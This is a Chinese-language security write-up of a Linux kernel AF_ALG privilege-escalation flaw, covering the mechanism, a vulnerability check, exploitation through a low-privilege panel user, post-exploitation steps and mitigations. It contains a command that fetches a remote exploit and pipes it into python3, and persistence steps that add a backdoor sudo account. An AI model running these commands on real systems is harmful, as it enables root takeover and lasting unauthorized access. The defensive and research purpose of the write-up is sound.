CVE-2026-31431 Linux内核AF_ALG子系统提权漏洞分析
漏洞背景
CVE-2026-31431是存在于Linux内核AF_ALG子系统中的一个逻辑缺陷漏洞,具体位于algif_aead.c模块。该漏洞自2017年(Linux内核4.14)引入相关性能优化起便存在,影响几乎所有主流Linux发行版,包括Ubuntu 24.04 LTS、RHEL 8/9/10、Amazon Linux 2023、SUSE 16等。
本文通过MCSM面板的低权限节点用户(mcsm_daemon)作为入口,演示如何利用此漏洞实现本地提权。
攻击链分析
漏洞原理
- 攻击者使用
splice()系统调用将受保护文件(如/usr/bin/su)的内容送入AF_ALG套接字 - 内核在处理AEAD解密时为优化性能,将源与目标Scatterlist设为相同,并直接链接了原始文件的页缓存(Page Cache)
authencesn算法在向缓冲区末尾写入4字节序列号时,因上述逻辑错误,导致这4字节直接写入原本为只读的文件缓存页- 攻击者借此篡改内存中的可执行文件缓存,注入恶意代码,最终在执行该文件时提权至root
漏洞检测
首先通过Python脚本检测目标系统是否存在漏洞:
python3 -c 'import socket; s=socket.socket(38,5,0); (s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) or print("未缓解")) if s else None' 2>/dev/null || echo "已缓解"
socket(38,5,0):创建AF_ALG套接字(38=AF_ALG, 5=SOCK_SEQPACKET)- 绑定
aead类型和authencesn(hmac(sha256),cbc(aes))算法 - 输出”未缓解”表示系统存在漏洞,“已缓解”表示已修复
漏洞利用
通过远程下载并执行利用脚本:
curl https://[REDACTED]/exp | python3 && su
脚本利用上述原理篡改/usr/bin/su的内存缓存,执行后直接获得root权限,命令提示符从$变为#。
后渗透操作
信息收集
获得root权限后,查看系统用户信息:
cat /etc/passwd
通过分析passwd文件识别系统账户结构,包括系统账户、服务账户和普通用户账户。
权限维持
创建新的管理员账户实现持久化访问:
sudo useradd -m -s /bin/bash kurikana
sudo passwd kurikana
将新用户添加到sudo组:
sudo usermod -aG sudo kurikana
groups kurikana
验证用户权限:kurikana : kurikana sudo。
远程访问
检查SSH服务状态:
sudo ss -tulnp | grep sshd
确认SSH服务在22端口监听,为后续远程访问提供通道。
影响范围
| 发行版 | 受影响版本 |
|---|---|
| Ubuntu | 24.04 LTS及更早版本 |
| RHEL | 8/9/10 |
| Amazon Linux | 2023 |
| SUSE | 16 |
| 内核版本 | 4.14及以上 |
修复建议
- 内核更新:升级到已修复的内核版本
- 禁用AF_ALG:如不需要,可通过
modprobe -r algif_aead禁用相关模块 - 权限最小化:限制低权限用户的系统调用能力
- 监控告警:监控异常的
splice()系统调用和用户权限变更 - 纵深防御:实施AppArmor/SELinux等强制访问控制
总结
CVE-2026-31431展示了内核子系统中性能优化与安全性之间的冲突。漏洞存在于长达7年之久,影响范围广泛。攻击者仅需低权限用户访问即可实现root提权,危害严重。系统管理员应及时应用内核补丁,并实施多层防御策略。
注:本文中的敏感信息(如IP地址、密码、具体服务器名称等)已进行脱敏处理,仅用于安全研究目的。